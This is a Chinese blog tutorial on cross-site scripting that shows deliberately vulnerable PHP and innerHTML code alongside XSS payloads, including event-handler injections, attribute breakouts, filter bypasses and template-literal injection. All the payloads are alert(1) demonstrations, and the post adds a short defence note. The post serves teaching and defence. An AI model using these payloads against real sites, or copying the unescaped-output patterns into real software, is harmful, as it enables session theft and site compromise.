1.XSS代表著攻击者可以在其他人的网站上面执行JavaScript 程序

了解

XSS(Cross-site scripting) 就代表著攻击者可以在其他人的网站上面执行JavaScript 程序。

<?php
 echo "Hello, " . $_GET['name'];
?>

如果访问的是 index.php?name=<script>alert(1)</script> 呢?输出的内容就会变成:Hello,<script>alert(1)</script>
<script>标签里的内容将被视为JavaScript代码来执行,屏幕上会弹出一个提示窗口,这意味着可以在其他人的网站中执行JavaScript代码。

<div>
  Hello, <span id="name"></span>
</div>
<script>
  const qs = new URLSearchParams(window.location.search)
  const name = qs.get('name')
  document.querySelector('#name').innerHTML = name
</script>

通过index.html?name=<script>alert(1)</script>的方式可以插入任何我们想要的内容,但这次是通过前端使用innerHTML的方式将我们的 payload 添加到页面上。
两者之间的区别在于前面的例子实际上不会触发alert,原因是在使用innerHTML时,插入的<script>标签没有效果,因此攻击者必须调整XSS payload才能执行代码。

  • localStorage :
  • Cookie:cookieStore API / document.cookie /fetch()与其他api交互

执行js的方式

  1. <script>alert(1)</script>
  2. Inline event handle 在HTML元素中内联(内嵌)的事件处理程序
    1. <img src="not_exist" onerror="alert(1)">
    2. <button onclick="alert(1)">拜託點我</button>
    3. <svg onload="alert(1)">
    4. <svg/onload=alert(1)>
      1. html属性中"非必要,没有空格就可以拿掉
      2. 标签跟属性间的空格可以用/替代
  3. <a href=javascript:void(0)>Link</a>

常用的event handler

  1. onerror
  2. onload
  3. onfocus
  4. onblur
  5. onanimationend
  6. onclick
  7. onmouseenter

常见情景

注入html

直接給你一塊空白的 HTML 讓你去操作,因此可以直接寫入任何想要的元素

<?php
 echo "Hello, <h1>" . $_GET['name'] . '</h1>';
?>
<div>
  Hello, <span id="name"></span>
</div>
<script>
  const qs = new URLSearchParams(window.location.search)
  const name = qs.get('name')
  document.querySelector('#name').innerHTML = name
</script>

<script>alert(1)</script>

防御

把使用者輸入中的 < 跟 > 全部取代掉,它就沒有辦法插入新的 HTML 標籤,就沒辦法做到任何事情。

注入属性

<div id="content"></div>
<script>
  const qs = new URLSearchParams(window.location.search)
  const clazz = qs.get('clazz')
  document.querySelector('#content').innerHTML = `
    <div class="${clazz}">
      Demo
    </div>
  `
</script>

輸入的內容是做為某個屬性的值,被包在屬性裡面的:
我们可以使用"<script>alert(1)</script>来闭合标签,再插入js语句

<div class=""><script>alert(1)</script>  
Demo  
</div>
<>被过滤

" tabindex=1 onfocus="alert(1)" x="
闭合后使用event handler

<div class="" tabindex=1 onfocus="alert(1)" x="">
  Demo
</div>
' " 被过滤

通过空格和/新增属性

document.querySelector('#content').innerHTML = `
  <div class=${clazz}>
    Demo
  </div>

payload:
/onclick=alert(1)

<div class=12 / οnclick=alert(1)>
  Demo
</div>

注入javascript

<script>
  const name = "<?php echo $_GET['name'] ?>";
  alert(name);
</script>
"过滤

</script> 闭合标签,再注入其他标签

``<>"'`过滤

如果在輸入裡面加一個空行,就會因為換行導致整段程式碼無法執行,出現 SyntaxError

<script>
  const name = `
    Hello,
    <?php echo $_GET['name'] ?>
  `;
  alert(name);
</script>

此时可以用${alert(1)} 的方式來注入 JavaScript 程式

参考链接

  1. https://web.archive.org/web/20100723152801/http://blogs.msdn.com/b/dross/archive/2009/12/15/happy-10th-birthday-cross-site-scripting.aspx
  2. https://owasp.org/www-pdf-archive/OWASP-AppSecEU08-Dabirsiaghi.pdf
  3. https://github.com/mandatoryprogrammer/xsshunter-express
  4. https://hackerone.com/reports/948929
  5. Cross-site scripting (XSS) cheat sheet
  • 29
    点赞
  • 51
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

唐先生的博客

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值